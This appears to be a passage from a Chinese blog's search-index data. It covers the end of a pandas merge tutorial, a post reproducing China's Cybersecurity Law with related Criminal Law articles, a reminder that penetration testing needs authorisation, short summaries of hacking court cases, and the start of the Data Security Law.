Datetimeindex,时间类型索引,强大的日期和时间的方法支持 Pandas的Merge语法pandas怎样实现DataFrame的Mergepandas的Merge,相当于Sql的Join,将不同的表key关联到一个表 merge的语法: pd.merge(left,right,how='inner',on=None,left_on=None,right_on=None,left_index=False,right_index=False,sort=True,suffixes=('_x','_y'),copy=True,indicator=False,validate=None) left,right:要merge的dataframe或者有name的Series how: join类型,’left’, ‘right’ , ‘outer’, ‘inner’ on: join的key,left和right都需要有这个key left_on: left的df或者series的key right_on: right的df或者seires的key left_index,right_index:使用index而不是普通的column做join suffixes:两个元素的后缀,如果列有重名,自动添加后缀,默认是(‘_X’,’_Y’) 本次实验提纲 电影数据集的join实例 理解merge时一对一、一对多、多对多的数量对齐关系 理解left join、right join、inner join、 outer join、的区别 如果出现非Key的字段重名怎么办","tags":["数据可视化","编程语言","Python","数据分析"],"categories":["编程语言","Python"]},{"title":"网络安全法","path":"/2020/12/29/93e21280/","content":"总字符数: 13.82K 代码: 无, 文本: 13.11K 预计阅读时间: 57 分钟 导读法律就是秩序,有好的法律才有好的秩序——亚里士多德 中国工程院院士李建成教授指出,“网络安全建设,应当以法律为根,技术为基。”《网络安全法》是在吸取国内外立法经验的基础上,经过多次公开征集意见,人大常委会三次审议之后完成的。尽管立法过程历时较短,但其中不乏制度亮点。 专用词解释: (一)网络,是指由计算机或者其他信息终端及相关设备组成的按照一定的规则和程序对信息进行收集、存储、传输、交换、处理的系统。 (二)网络安全,是指通过采取必要措施,防范对网络的攻击、侵入、干扰、破坏和非法使用以及意外事故,使网络处于稳定可靠运行的状态,以及保障网络数据的完整性、保密性、可用性的能力。 (三)网络运营者,是指网络的所有者、管理者和网络服务提供者。 (四)网络数据,是指通过网络收集、存储、传输、处理和产生的各种电子数据。 (五)个人信息,是指以电子或者其他方式记录的能够单独或者与其他信息结合识别自然人个人身份的各种信息,包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。 一、黑客违法判刑标准《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 第二百八十六条 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。 注:以上刑法提醒我们在做渗透测试的时候,一定要记得先取得甲方的同意书(授权书),渗透测试的手法如同黑客攻击,在未获取甲方正式授权前,千万不要擅自进行测试操作,以免触犯以上《中华人民共和国刑法》。有关的同意书(或授权书)必须经过双方法人签署,这是经过系统拥有者同意的授权书,也是我们进行合法渗透测试的法律文件。 不过要提醒的是,特别要注意同意授权书的有效范围,不是有了授权书就可以肆意妄为,它只是渗透测试计划书所有规范的界定范围内有效,如果涉及界定范围之外的活动(包括系统、手段、工具等),则都必须重新获取授权。 二、网络安全法条规细则1.个人发现网络运营者违反法律、行政法规的规定或者双方的约定收集、使用其个人信息的,有权要求网络运营者删除其个人信息;发现网络运营者收集、存储的其个人信息有错误的,有权要求网络运营者予以更正。网络运营者应当采取措施予以删除或者更正。 2.任何个人和组织不得窃取或者以其他非法方式获取个人信息,不得非法出售或者非法向他人提供个人信息。 3.依法负有网络安全监督管理职责的部门及其工作人员,必须对在履行职责中知悉的个人信息、隐私和商业秘密严格保密,不得泄露、出售或者非法向他人提供。 4.任何个人和组织应当对其使用网络的行为负责,不得设立用于实施诈骗,传授犯罪方法,制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通讯群组,不得利用网络发布涉及实施诈骗,制作或者销售违禁物品、管制物品以及其他违法犯罪活动的信息。 5.任何个人和组织发送的电子信息、提供的应用软件,不得设置恶意程序,不得含有法律、行政法规禁止发布或者传输的信息。 三、网络安全的违法案例据CNCERT抽样监测发现,2019年前4个月我境内被篡改的网站8,213个,同比增长48.8%;被植入后门的网站10,010个,同比增长22.5%。同时,近期发现由于运营者安全配置不当,很多数据库直接暴露在互联网上,导致大量用户个人信息泄露。造成这些事件很大原因是一些互联网网站运营者网络安全意识不强,特别是中小网站安全管理和防护能力较低,缺乏有效安全保障措施,成为网络攻击的重点目标和主要入口。 在信息安全的防护下也出现了很多的案例: 案例1:魏某将事先修改过回收地址的某软件通过上传至全球知名中文IT技术交流平台网站以及在其管理的QQ群内对外发布,利用他人下载使用该软件时非法获取了一万余条网站后门漏洞信息,后通过租赁上述信息非法获利人民币1.1万元。经远程勘验该1万余条网站漏洞信息中可直连被入侵互联网服务器获取控制权限的达103台。 法院经审理认为,被告人魏某违反国家规定,对国家事务、国防建设、尖端科学以外的计算机信息系统实施非法控制,情节特别严重,其行为已构成非法控制计算机信息系统罪。同时考虑到其具有坦白、退出违法所得、自愿认罪认罚等量刑情节,根据《中华人民共和国刑法》及相关司法解释的规定,判决被告人魏某犯非法控制计算机信息系统罪,判处有期徒刑三年,缓刑四年,并处罚金人民币一万五千元。 案例2:2015年7月8日,江苏省南通市通州区教育技术装备室负责人报案称,今年以来通州区教育党建人事网页面多次被人恶意篡改,给教育部门形象造成恶劣影响。接报警后,南通公安机关迅速勘验发现,通州区教育党建人事网服务器已被植入恶意木马程序。 近日,江苏南通公安机关成功抓获非法侵入通州区教育局网站服务器,非法篡改网页的犯罪嫌疑人丛某。经审讯,丛某对其犯罪事实供认不讳。据交代,2014年以来,丛某采用扫描网站漏洞放置木马病毒的方式获取网站控制权限,然后入侵网站服务器进行篡改,非法添加私服推广广告网页获取推广费。据统计,丛某先后入侵近200个网站,非法获利近20万元。 案例3:汤某通过QQ群从他人处获得某网络游戏的网站源码,并在网络上搭建钓鱼网站后以每日人民币30元至50元不等的价格出租给他人以用于窃取游戏账号及密码,共计获利8千元。被告人熊某等13人从被告人汤某处租得钓鱼网站后,窃取他人游戏账号及密码予以出售,或从他人处购买游戏账号及密码后将游戏内虚拟物品予以出售牟利。被告人晁某、王某明知是非法获取所得的游戏虚拟物品,仍予以收购。 法院经审理认为,被告人汤某、熊某等14人违反国家规定,侵入计算机信息系统,获取计算机信息系统中存储、处理或者传输的数据,其行为均已构成非法获取计算机信息系统数据罪。被告人晁某、王某明知是非法获取计算机信息系统数据犯罪所获取的数据,仍予以收购,其行为均已构成掩饰、隐瞒犯罪所得罪。对以上被告人分别以非法获取计算机信息系统数据罪、掩饰、隐瞒犯罪所得罪判处缓刑,并处罚金,或单处罚金。其中被告人陈某曾因犯非法获取计算机信息系统数据罪,仍在缓刑考验期限内,故撤销其缓刑,决定执行有期徒刑一年二个月,并处罚金人民币二万二千元。 案例4:张某、韦某为拓展其经营的某信息咨询公司的客户源,通过微信联系卖家,以人民币400元的价格,非法购买公民个人信息(姓名、电话号码)10000条,并进行电话营销。张某为拓展客户源,还通过购买某论坛账号等方式非法在互联网上下载公民个人信息并进行电话营销。 法院经审理认为,张某、韦某以其他方法非法获取公民个人信息,其行为均已构成侵犯公民个人信息罪。判处被告人张某有期徒刑一年,并处罚金人民币二万元;判处被告人韦某有期徒刑六个月,缓刑一年,并处罚金人民币一万元。 案例5: 近日,经南平市延平区检察院提起公诉,延平区法院以非法控制计算机信息系统罪判处被告人林某某有期徒刑四年三个月,并处罚金人民币80000元,判处被告人凌某有期徒刑三年,并处罚金人民币50000元;该案系南平市首例利用webshell非法控制计算机信息系统案件。 四、网络安全法内容第一章 总则第一条 为了保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展,制定本法。 第二条 在中华人民共和国境内建设、运营、维护和使用网络,以及网络安全的监督管理,适用本法。 第三条 国家坚持网络安全与信息化发展并重,遵循积极利用、科学发展、依法管理、确保安全的方针,推进网络基础设施建设和互联互通,鼓励网络技术创新和应用,支持培养网络安全人才,建立健全网络安全保障体系,提高网络安全保护能力。 第四条 国家制定并不断完善网络安全战略,明确保障网络安全的基本要求和主要目标,提出重点领域的网络安全政策、工作任务和措施。 第五条 国家采取措施,监测、防御、处置来源于中华人民共和国境内外的网络安全风险和威胁,保护关键信息基础设施免受攻击、侵入、干扰和破坏,依法惩治网络违法犯罪活动,维护网络空间安全和秩序。 第六条 国家倡导诚实守信、健康文明的网络行为,推动传播社会主义核心价值观,采取措施提高全社会的网络安全意识和水平,形成全社会共同参与促进网络安全的良好环境。 第七条 国家积极开展网络空间治理、网络技术研发和标准制定、打击网络违法犯罪等方面的国际交流与合作,推动构建和平、安全、开放、合作的网络空间,建立多边、民主、透明的网络治理体系。 第八条 国家网信部门负责统筹协调网络安全工作和相关监督管理工作。国务院电信主管部门、公安部门和其他有关机关依照本法和有关法律、行政法规的规定,在各自职责范围内负责网络安全保护和监督管理工作。 县级以上地方人民政府有关部门的网络安全保护和监督管理职责,按照国家有关规定确定。 第九条 网络运营者开展经营和服务活动,必须遵守法律、行政法规,尊重社会公德,遵守商业道德,诚实信用,履行网络安全保护义务,接受政府和社会的监督,承担社会责任。 第十条 建设、运营网络或者通过网络提供服务,应当依照法律、行政法规的规定和国家标准的强制性要求,采取技术措施和其他必要措施,保障网络安全、稳定运行,有效应对网络安全事件,防范网络违法犯罪活动,维护网络数据的完整性、保密性和可用性。 第十一条 网络相关行业组织按照章程,加强行业自律,制定网络安全行为规范,指导会员加强网络安全保护,提高网络安全保护水平,促进行业健康发展。 第十二条 国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。 任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。 第十三条 国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。 第十四条 任何个人和组织有权对危害网络安全的行为向网信、电信、公安等部门举报。收到举报的部门应当及时依法作出处理;不属于本部门职责的,应当及时移送有权处理的部门。 有关部门应当对举报人的相关信息予以保密,保护举报人的合法权益。 第二章 网络安全支持与促进第十五条 国家建立和完善网络安全标准体系。国务院标准化行政主管部门和国务院其他有关部门根据各自的职责,组织制定并适时修订有关网络安全管理以及网络产品、服务和运行安全的国家标准、行业标准。 国家支持企业、研究机构、高等学校、网络相关行业组织参与网络安全国家标准、行业标准的制定。 第十六条 国务院和省、自治区、直辖市人民政府应当统筹规划,加大投入,扶持重点网络安全技术产业和项目,支持网络安全技术的研究开发和应用,推广安全可信的网络产品和服务,保护网络技术知识产权,支持企业、研究机构和高等学校等参与国家网络安全技术创新项目。 第十七条 国家推进网络安全社会化服务体系建设,鼓励有关企业、机构开展网络安全认证、检测和风险评估等安全服务。 第十八条 国家鼓励开发网络数据安全保护和利用技术,促进公共数据资源开放,推动技术创新和经济社会发展。 国家支持创新网络安全管理方式,运用网络新技术,提升网络安全保护水平。 第十九条 各级人民政府及其有关部门应当组织开展经常性的网络安全宣传教育,并指导、督促有关单位做好网络安全宣传教育工作。 大众传播媒介应当有针对性地面向社会进行网络安全宣传教育。 第二十条 国家支持企业和高等学校、职业学校等教育培训机构开展网络安全相关教育与培训,采取多种方式培养网络安全人才,促进网络安全人才交流。 第三章 网络运行安全第一节 一般规定 第二十一条 国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求,履行下列安全保护义务,保障网络免受干扰、破坏或者未经授权的访问,防止网络数据泄露或者被窃取、篡改: (一)制定内部安全管理制度和操作规程,确定网络安全负责人,落实网络安全保护责任; (二)采取防范计算机病毒和网络攻击、网络侵入等危害网络安全行为的技术措施; (三)采取监测、记录网络运行状态、网络安全事件的技术措施,并按照规定留存相关的网络日志不少于六个月; (四)采取数据分类、重要数据备份和加密等措施; (五)法律、行政法规规定的其他义务。 第二十二条 网络产品、服务应当符合相关国家标准的强制性要求。网络产品、服务的提供者不得设置恶意程序;发现其网络产品、服务存在安全缺陷、漏洞等风险时,应当立即采取补救措施,按照规定及时告知用户并向有关主管部门报告。 网络产品、服务的提供者应当为其产品、服务持续提供安全维护;在规定或者当事人约定的期限内,不得终止提供安全维护。 网络产品、服务具有收集用户信息功能的,其提供者应当向用户明示并取得同意;涉及用户个人信息的,还应当遵守本法和有关法律、行政法规关于个人信息保护的规定。 第二十三条 网络关键设备和网络安全专用产品应当按照相关国家标准的强制性要求,由具备资格的机构安全认证合格或者安全检测符合要求后,方可销售或者提供。国家网信部门会同国务院有关部门制定、公布网络关键设备和网络安全专用产品目录,并推动安全认证和安全检测结果互认,避免重复认证、检测。 第二十四条 网络运营者为用户办理网络接入、域名注册服务,办理固定电话、移动电话等入网手续,或者为用户提供信息发布、即时通讯等服务,在与用户签订协议或者确认提供服务时,应当要求用户提供真实身份信息。用户不提供真实身份信息的,网络运营者不得为其提供相关服务。 国家实施网络可信身份战略,支持研究开发安全、方便的电子身份认证技术,推动不同电子身份认证之间的互认。 第二十五条 网络运营者应当制定网络安全事件应急预案,及时处置系统漏洞、计算机病毒、网络攻击、网络侵入等安全风险;在发生危害网络安全的事件时,立即启动应急预案,采取相应的补救措施,并按照规定向有关主管部门报告。 第二十六条 开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。 第二十七条 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。 第二十八条 网络运营者应当为公安机关、国家安全机关依法维护国家安全和侦查犯罪的活动提供技术支持和协助。 第二十九条 国家支持网络运营者之间在网络安全信息收集、分析、通报和应急处置等方面进行合作,提高网络运营者的安全保障能力。 有关行业组织建立健全本行业的网络安全保护规范和协作机制,加强对网络安全风险的分析评估,定期向会员进行风险警示,支持、协助会员应对网络安全风险。 第三十条 网信部门和有关部门在履行网络安全保护职责中获取的信息,只能用于维护网络安全的需要,不得用于其他用途。 第二节 关键信息基础设施的运行安全 第三十一条 国家对公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等重要行业和领域,以及其他一旦遭到破坏、丧失功能或者数据泄露,可能严重危害国家安全、国计民生、公共利益的关键信息基础设施,在网络安全等级保护制度的基础上,实行重点保护。关键信息基础设施的具体范围和安全保护办法由国务院制定。 国家鼓励关键信息基础设施以外的网络运营者自愿参与关键信息基础设施保护体系。 第三十二条 按照国务院规定的职责分工,负责关键信息基础设施安全保护工作的部门分别编制并组织实施本行业、本领域的关键信息基础设施安全规划,指导和监督关键信息基础设施运行安全保护工作。 第三十三条 建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能,并保证安全技术措施同步规划、同步建设、同步使用。 第三十四条 除本法第二十一条的规定外,关键信息基础设施的运营者还应当履行下列安全保护义务: (一)设置专门安全管理机构和安全管理负责人,并对该负责人和关键岗位的人员进行安全背景审查; (二)定期对从业人员进行网络安全教育、技术培训和技能考核; (三)对重要系统和数据库进行容灾备份; (四)制定网络安全事件应急预案,并定期进行演练; (五)法律、行政法规规定的其他义务。 第三十五条 关键信息基础设施的运营者采购网络产品和服务,可能影响国家安全的,应当通过国家网信部门会同国务院有关部门组织的国家安全审查。 第三十六条 关键信息基础设施的运营者采购网络产品和服务,应当按照规定与提供者签订安全保密协议,明确安全和保密义务与责任。 第三十七条 关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的个人信息和重要数据应当在境内存储。因业务需要,确需向境外提供的,应当按照国家网信部门会同国务院有关部门制定的办法进行安全评估;法律、行政法规另有规定的,依照其规定。 第三十八条 关键信息基础设施的运营者应当自行或者委托网络安全服务机构对其网络的安全性和可能存在的风险每年至少进行一次检测评估,并将检测评估情况和改进措施报送相关负责关键信息基础设施安全保护工作的部门。 第三十九条 国家网信部门应当统筹协调有关部门对关键信息基础设施的安全保护采取下列措施: (一)对关键信息基础设施的安全风险进行抽查检测,提出改进措施,必要时可以委托网络安全服务机构对网络存在的安全风险进行检测评估; (二)定期组织关键信息基础设施的运营者进行网络安全应急演练,提高应对网络安全事件的水平和协同配合能力; (三)促进有关部门、关键信息基础设施的运营者以及有关研究机构、网络安全服务机构等之间的网络安全信息共享; (四)对网络安全事件的应急处置与网络功能的恢复等,提供技术支持和协助。 第四章 网络信息安全第四十条 网络运营者应当对其收集的用户信息严格保密,并建立健全用户信息保护制度。 第四十一条 网络运营者收集、使用个人信息,应当遵循合法、正当、必要的原则,公开收集、使用规则,明示收集、使用信息的目的、方式和范围,并经被收集者同意。 网络运营者不得收集与其提供的服务无关的个人信息,不得违反法律、行政法规的规定和双方的约定收集、使用个人信息,并应当依照法律、行政法规的规定和与用户的约定,处理其保存的个人信息。 第四十二条 网络运营者不得泄露、篡改、毁损其收集的个人信息;未经被收集者同意,不得向他人提供个人信息。但是,经过处理无法识别特定个人且不能复原的除外。 网络运营者应当采取技术措施和其他必要措施,确保其收集的个人信息安全,防止信息泄露、毁损、丢失。在发生或者可能发生个人信息泄露、毁损、丢失的情况时,应当立即采取补救措施,按照规定及时告知用户并向有关主管部门报告。 第四十三条 个人发现网络运营者违反法律、行政法规的规定或者双方的约定收集、使用其个人信息的,有权要求网络运营者删除其个人信息;发现网络运营者收集、存储的其个人信息有错误的,有权要求网络运营者予以更正。网络运营者应当采取措施予以删除或者更正。 第四十四条 任何个人和组织不得窃取或者以其他非法方式获取个人信息,不得非法出售或者非法向他人提供个人信息。 第四十五条 依法负有网络安全监督管理职责的部门及其工作人员,必须对在履行职责中知悉的个人信息、隐私和商业秘密严格保密,不得泄露、出售或者非法向他人提供。 第四十六条 任何个人和组织应当对其使用网络的行为负责,不得设立用于实施诈骗,传授犯罪方法,制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通讯群组,不得利用网络发布涉及实施诈骗,制作或者销售违禁物品、管制物品以及其他违法犯罪活动的信息。 第四十七条 网络运营者应当加强对其用户发布的信息的管理,发现法律、行政法规禁止发布或者传输的信息的,应当立即停止传输该信息,采取消除等处置措施,防止信息扩散,保存有关记录,并向有关主管部门报告。 第四十八条 任何个人和组织发送的电子信息、提供的应用软件,不得设置恶意程序,不得含有法律、行政法规禁止发布或者传输的信息。 电子信息发送服务提供者和应用软件下载服务提供者,应当履行安全管理义务,知道其用户有前款规定行为的,应当停止提供服务,采取消除等处置措施,保存有关记录,并向有关主管部门报告。 第四十九条 网络运营者应当建立网络信息安全投诉、举报制度,公布投诉、举报方式等信息,及时受理并处理有关网络信息安全的投诉和举报。 网络运营者对网信部门和有关部门依法实施的监督检查,应当予以配合。 第五十条 国家网信部门和有关部门依法履行网络信息安全监督管理职责,发现法律、行政法规禁止发布或者传输的信息的,应当要求网络运营者停止传输,采取消除等处置措施,保存有关记录;对来源于中华人民共和国境外的上述信息,应当通知有关机构采取技术措施和其他必要措施阻断传播。 第五章 监测预警与应急处置第五十一条 国家建立网络安全监测预警和信息通报制度。国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作,按照规定统一发布网络安全监测预警信息。 第五十二条 负责关键信息基础设施安全保护工作的部门,应当建立健全本行业、本领域的网络安全监测预警和信息通报制度,并按照规定报送网络安全监测预警信息。 第五十三条 国家网信部门协调有关部门建立健全网络安全风险评估和应急工作机制,制定网络安全事件应急预案,并定期组织演练。 负责关键信息基础设施安全保护工作的部门应当制定本行业、本领域的网络安全事件应急预案,并定期组织演练。 网络安全事件应急预案应当按照事件发生后的危害程度、影响范围等因素对网络安全事件进行分级,并规定相应的应急处置措施。 第五十四条 网络安全事件发生的风险增大时,省级以上人民政府有关部门应当按照规定的权限和程序,并根据网络安全风险的特点和可能造成的危害,采取下列措施: (一)要求有关部门、机构和人员及时收集、报告有关信息,加强对网络安全风险的监测; (二)组织有关部门、机构和专业人员,对网络安全风险信息进行分析评估,预测事件发生的可能性、影响范围和危害程度; (三)向社会发布网络安全风险预警,发布避免、减轻危害的措施。 第五十五条 发生网络安全事件,应当立即启动网络安全事件应急预案,对网络安全事件进行调查和评估,要求网络运营者采取技术措施和其他必要措施,消除安全隐患,防止危害扩大,并及时向社会发布与公众有关的警示信息。 第五十六条 省级以上人民政府有关部门在履行网络安全监督管理职责中,发现网络存在较大安全风险或者发生安全事件的,可以按照规定的权限和程序对该网络的运营者的法定代表人或者主要负责人进行约谈。网络运营者应当按照要求采取措施,进行整改,消除隐患。 第五十七条 因网络安全事件,发生突发事件或者生产安全事故的,应当依照《中华人民共和国突发事件应对法》、《中华人民共和国安全生产法》等有关法律、行政法规的规定处置。 第五十八条 因维护国家安全和社会公共秩序,处置重大突发社会安全事件的需要,经国务院决定或者批准,可以在特定区域对网络通信采取限制等临时措施。 第六章 法律责任第五十九条 网络运营者不履行本法第二十一条、第二十五条规定的网络安全保护义务的,由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处一万元以上十万元以下罚款,对直接负责的主管人员处五千元以上五万元以下罚款。 关键信息基础设施的运营者不履行本法第三十三条、第三十四条、第三十六条、第三十八条规定的网络安全保护义务的,由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处十万元以上一百万元以下罚款,对直接负责的主管人员处一万元以上十万元以下罚款。 第六十条 违反本法第二十二条第一款、第二款和第四十八条第一款规定,有下列行为之一的,由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处五万元以上五十万元以下罚款,对直接负责的主管人员处一万元以上十万元以下罚款: (一)设置恶意程序的; (二)对其产品、服务存在的安全缺陷、漏洞等风险未立即采取补救措施,或者未按照规定及时告知用户并向有关主管部门报告的; (三)擅自终止为其产品、服务提供安全维护的。 第六十一条 网络运营者违反本法第二十四条第一款规定,未要求用户提供真实身份信息,或者对不提供真实身份信息的用户提供相关服务的,由有关主管部门责令改正;拒不改正或者情节严重的,处五万元以上五十万元以下罚款,并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第六十二条 违反本法第二十六条规定,开展网络安全认证、检测、风险评估等活动,或者向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息的,由有关主管部门责令改正,给予警告;拒不改正或者情节严重的,处一万元以上十万元以下罚款,并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五千元以上五万元以下罚款。 第六十三条 违反本法第二十七条规定,从事危害网络安全的活动,或者提供专门用于从事危害网络安全活动的程序、工具,或者为他人从事危害网络安全的活动提供技术支持、广告推广、支付结算等帮助,尚不构成犯罪的,由公安机关没收违法所得,处五日以下拘留,可以并处五万元以上五十万元以下罚款;情节较重的,处五日以上十五日以下拘留,可以并处十万元以上一百万元以下罚款。 单位有前款行为的,由公安机关没收违法所得,处十万元以上一百万元以下罚款,并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。 违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。 第六十四条 网络运营者、网络产品或者服务的提供者违反本法第二十二条第三款、第四十一条至第四十三条规定,侵害个人信息依法得到保护的权利的,由有关主管部门责令改正,可以根据情节单处或者并处警告、没收违法所得、处违法所得一倍以上十倍以下罚款,没有违法所得的,处一百万元以下罚款,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款;情节严重的,并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照。 违反本法第四十四条规定,窃取或者以其他非法方式获取、非法出售或者非法向他人提供个人信息,尚不构成犯罪的,由公安机关没收违法所得,并处违法所得一倍以上十倍以下罚款,没有违法所得的,处一百万元以下罚款。 第六十五条 关键信息基础设施的运营者违反本法第三十五条规定,使用未经安全审查或者安全审查未通过的网络产品或者服务的,由有关主管部门责令停止使用,处采购金额一倍以上十倍以下罚款;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第六十六条 关键信息基础设施的运营者违反本法第三十七条规定,在境外存储网络数据,或者向境外提供网络数据的,由有关主管部门责令改正,给予警告,没收违法所得,处五万元以上五十万元以下罚款,并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 第六十七条 违反本法第四十六条规定,设立用于实施违法犯罪活动的网站、通讯群组,或者利用网络发布涉及实施违法犯罪活动的信息,尚不构成犯罪的,由公安机关处五日以下拘留,可以并处一万元以上十万元以下罚款;情节较重的,处五日以上十五日以下拘留,可以并处五万元以上五十万元以下罚款。关闭用于实施违法犯罪活动的网站、通讯群组。 单位有前款行为的,由公安机关处十万元以上五十万元以下罚款,并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。 第六十八条 网络运营者违反本法第四十七条规定,对法律、行政法规禁止发布或者传输的信息未停止传输、采取消除等处置措施、保存有关记录的,由有关主管部门责令改正,给予警告,没收违法所得;拒不改正或者情节严重的,处十万元以上五十万元以下罚款,并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。 电子信息发送服务提供者、应用软件下载服务提供者,不履行本法第四十八条第二款规定的安全管理义务的,依照前款规定处罚。 第六十九条 网络运营者违反本法规定,有下列行为之一的,由有关主管部门责令改正;拒不改正或者情节严重的,处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员,处一万元以上十万元以下罚款: (一)不按照有关部门的要求对法律、行政法规禁止发布或者传输的信息,采取停止传输、消除等处置措施的; (二)拒绝、阻碍有关部门依法实施的监督检查的; (三)拒不向公安机关、国家安全机关提供技术支持和协助的。 第七十条 发布或者传输本法第十二条第二款和其他法律、行政法规禁止发布或者传输的信息的,依照有关法律、行政法规的规定处罚。 第七十一条 有本法规定的违法行为的,依照有关法律、行政法规的规定记入信用档案,并予以公示。 第七十二条 国家机关政务网络的运营者不履行本法规定的网络安全保护义务的,由其上级机关或者有关机关责令改正;对直接负责的主管人员和其他直接责任人员依法给予处分。 第七十三条 网信部门和有关部门违反本法第三十条规定,将在履行网络安全保护职责中获取的信息用于其他用途的,对直接负责的主管人员和其他直接责任人员依法给予处分。 网信部门和有关部门的工作人员玩忽职守、滥用职权、徇私舞弊,尚不构成犯罪的,依法给予处分。 第七十四条 违反本法规定,给他人造成损害的,依法承担民事责任。 违反本法规定,构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任。 第七十五条 境外的机构、组织、个人从事攻击、侵入、干扰、破坏等危害中华人民共和国的关键信息基础设施的活动,造成严重后果的,依法追究法律责任;国务院公安部门和有关部门并可以决定对该机构、组织、个人采取冻结财产或者其他必要的制裁措施。 第七章 附 则第七十六条 本法下列用语的含义: (一)网络,是指由计算机或者其他信息终端及相关设备组成的按照一定的规则和程序对信息进行收集、存储、传输、交换、处理的系统。 (二)网络安全,是指通过采取必要措施,防范对网络的攻击、侵入、干扰、破坏和非法使用以及意外事故,使网络处于稳定可靠运行的状态,以及保障网络数据的完整性、保密性、可用性的能力。 (三)网络运营者,是指网络的所有者、管理者和网络服务提供者。 (四)网络数据,是指通过网络收集、存储、传输、处理和产生的各种电子数据。 (五)个人信息,是指以电子或者其他方式记录的能够单独或者与其他信息结合识别自然人个人身份的各种信息,包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。 第七十七条 存储、处理涉及国家秘密信息的网络的运行安全保护,除应当遵守本法外,还应当遵守保密法律、行政法规的规定。 第七十八条 军事网络的安全保护,由中央军事委员会另行规定。 第七十九条 本法自2017年6月1日起施行。","tags":["法律法规"],"categories":["生活记录","杂项"]},{"title":"数据安全法","path":"/2020/12/25/93e21280/","content":"总字符数: 5.45K 代码: 无, 文本: 5.43K 预计阅读时间: 24 分钟 第一章 总则第一条 为了规范数据处理活动,保障数据安全,促进数据开发利用,保护个人、组织的合法权益,维护国家主权、安全和发展利益,制定本法。 第二条 在中华人民共和国境内开展数据处理活动及其安全监管,适用本法。 在中华人民共和国境外开展数据处理活动,损害中华人民共和国国家安全、公共利益或者公民、组织合法权益的,依法追究法律责任。 第三条 本法所称数据,是指任何以电子或者其他方式对信息的记录。 数据处理,包括数据的收集、存储、使用、加工、传输、提供、公开等。 数据安全,是指通过采取必要措施,确保数据处于有效保护和合法利用的状态,以及具备保障持续安全状态的能力。 第四条 维护数据安全,应当坚持总体国家安全观,建立健全数据安全治理体系,提高数据安全保障能力。 第五条 中央国家安全领导机构负责国家数据安全工作的决策和议事协调,研究制定、指导实施国家数据安全战略和有关重大方针政策,统筹协调国家数据安全的重大事项和重要工作,建立国家数据安全工作协调机制。 第六条 各地区、各部门对本地区、本部门工作中收集和产生的数据及数据安全负责。 工业、电信、交通、金融、自然资源、卫生健康、教育、科技等主管部门承担本行业、本领域数据安全监管职责。 